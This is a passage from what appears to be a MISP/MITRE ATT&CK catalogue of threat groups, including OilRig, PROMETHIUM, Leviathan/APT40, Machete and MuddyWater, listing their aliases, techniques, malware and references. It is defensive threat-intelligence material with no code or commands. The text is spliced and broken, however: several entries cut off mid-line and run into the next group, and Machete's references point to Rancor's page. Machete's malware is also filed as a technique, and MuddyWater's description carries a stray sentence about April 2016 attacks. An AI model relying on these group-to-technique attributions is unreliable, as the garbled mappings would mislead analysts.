- uses: misp-galaxy:mitre-malware="SEASHARPEE - S0185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POWRUNER - S0184" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="certutil" - S0160" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ipconfig" - S0100" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Tasklist" - S0057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="RDAT - S0495" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="ISMInjector - S0189" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="QUADAGENT - S0269" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="OopsIE - S0264" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="RGDoor - S0258" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="BONDUPDATER - S0360" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SideTwist - S0610" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Helminth - S0170" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6489. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/">http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/</a></td>
</tr>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/">http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/</a></td>
</tr>
<tr>
<td><a href="http://www.clearskysec.com/oilrig/">http://www.clearskysec.com/oilrig/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0049">https://attack.mitre.org/groups/G0049</a></td>
</tr>
<tr>
<td><a href="https://pan-unit42.github.io/playbook_viewer/">https://pan-unit42.github.io/playbook_viewer/</a></td>
</tr>
<tr>
<td><a href="https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens">https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens</a></td>
</tr>
</tbody>
</table>
NEODYMIUM - G0055

[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: `misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055"`

NEODYMIUM - G0055 is also known as:

- NEODYMIUM

View relationships graph

NEODYMIUM - G0055 has relationships with:

- similar: `misp-galaxy:microsoft-activity-group="NEODYMIUM"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-malware="Wingbird - S0176"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="NEODYMIUM"` with estimative-language:likelihood-probability="likely"

Table 6490. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0055">https://attack.mitre.org/groups/G0055</a></td>
</tr>
<tr>
<td><a href="https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/">https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/</a></td>
</tr>
</tbody>
</table>

PROMETHIUM - G0056

[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group focused on espionage
that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) (Citation: Talos Promethium June 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"`

PROMETHIUM - G0056 is also known as:

- PROMETHIUM
- StrongPity

View relationships graph

PROMETHIUM - G0056 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="PROMETHIUM"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:microsoft-activity-group="PROMETHIUM"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"` with estimative-
Leviathan - G0065

[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company. (Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia. (Citation: CISA AA21-200A APT40 July 2021) (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Leviathan - G0065"`

Leviathan - G0065 is also known as:

- Leviathan
- MUDCARP
- Kryptonite Panda
- Gadolinium
- BRONZE MOHAWK
- TEMP.Jumper
- APT40
- TEMP.Periscope

View relationships graph

Leviathan - G0065 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="MURKYTOP - S0233" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Orz - S0229" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1586.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BADFLICK - S0642" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT40" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BITSAadmin - S0190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NanHaiShu - S0228" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HOMEFRY - S0232" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"
Rancor - G0075

[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Rancor - G0075"

Rancor - G0075 is also known as:

- Rancor

View relationships graph

Rancor - G0075 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-tool="certutil - S0160"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-malware="PLAINTEE - S0254"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"* with estimative-
Machete - G0095

[Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies. (Citation: Cylance Machete Mar 2017) (Citation: Securelist Machete Aug 2014) (Citation: ESET Machete July 2019) (Citation: 360 Machete Sep 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Machete - G0095"`

Machete - G0095 is also known as:

- Machete
- APT-C-43
- El Machete

Table 6493. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0075">https://attack.mitre.org/groups/G0075</a></td>
</tr>
</tbody>
</table>
Machete - G0095 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Machete - S0409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:360net-threat-actor="Machete - APT-C-43" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 6494. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0095">https://attack.mitre.org/groups/G0095</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/el-machete/66108/">https://securelist.com/el-machete/66108/</a></td>
</tr>
</tbody>
</table>

Elderwood - G0066

[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group
that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)

The tag is: `misp-galaxy:mitre-intrusion-set="Elderwood - G0066"`

**Elderwood - G0066** is also known as:

- Elderwood
- Elderwood Gang
- Beijing Group
- Sneaky Panda

**View relationships graph**

**Elderwood - G0066** has relationships with:

- uses: `misp-galaxy:mitre-malware="Wiarp - S0206"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Naid - S0205"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Hydraq - S0203"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Briba - S0204"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Nerex - S0210"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="Beijing Group"` with estimative-language:likelihood-
probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pasam - S0208" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Linfo - S0211" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Vasport - S0207" with estimative-language:likelihood-probability="almost-certain"

Table 6495. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0066">https://attack.mitre.org/groups/G0066</a></td>
</tr>
</tbody>
</table>

**Thrip - G0076**

[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as "living off the land" techniques. (Citation: Symantec Thrip June 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Thrip - G0076"`

Thrip - G0076 is also known as:

- Thrip

View relationships graph

Thrip - G0076 has relationships with:

- uses: misp-galaxy:mitre-malware="Catchamas - S0261" with estimative-language:likelihood-
probability="almost-certain"


- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6496. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0076">https://attack.mitre.org/groups/G0076</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets">https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets</a></td>
</tr>
</tbody>
</table>

PLATINUM - G0068

[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)

The tag is: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068"

PLATINUM - G0068 is also known as:

- PLATINUM

View relationships graph

PLATINUM - G0068 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="adbupd - S0202" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"


- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with
The tag is: `misp-galaxy:mitre-intrusion-set="MuddyWater - G0069"`

**MuddyWater - G0069**

[MuddyWater](https://attack.mitre.org/groups/G0069) is a cyber espionage group assessed to be a subordinate element within Iran’s Ministry of Intelligence and Security (MOIS). Since at least 2017, [MuddyWater](https://attack.mitre.org/groups/G0069) has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America. The group has been involved in targeted attacks in South and Southeast Asia, particularly in April 2016.

The tag is: `misp-galaxy:mitre-intrusion-set="MuddyWater - G0069"`
MuddyWater - G0069 is also known as:

- MuddyWater
- Earth Vetala
- MERCURY
- Static Kitten
- Seedworm
- TEMP.Zagros

View relationships graph

MuddyWater - G0069 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SHARPSTATS - S0450" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="Mori - S1047" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-tool="Out1 - S0594" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:threat-actor="MuddyWater" with estimative-language:likelihood-probability="likely"


- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
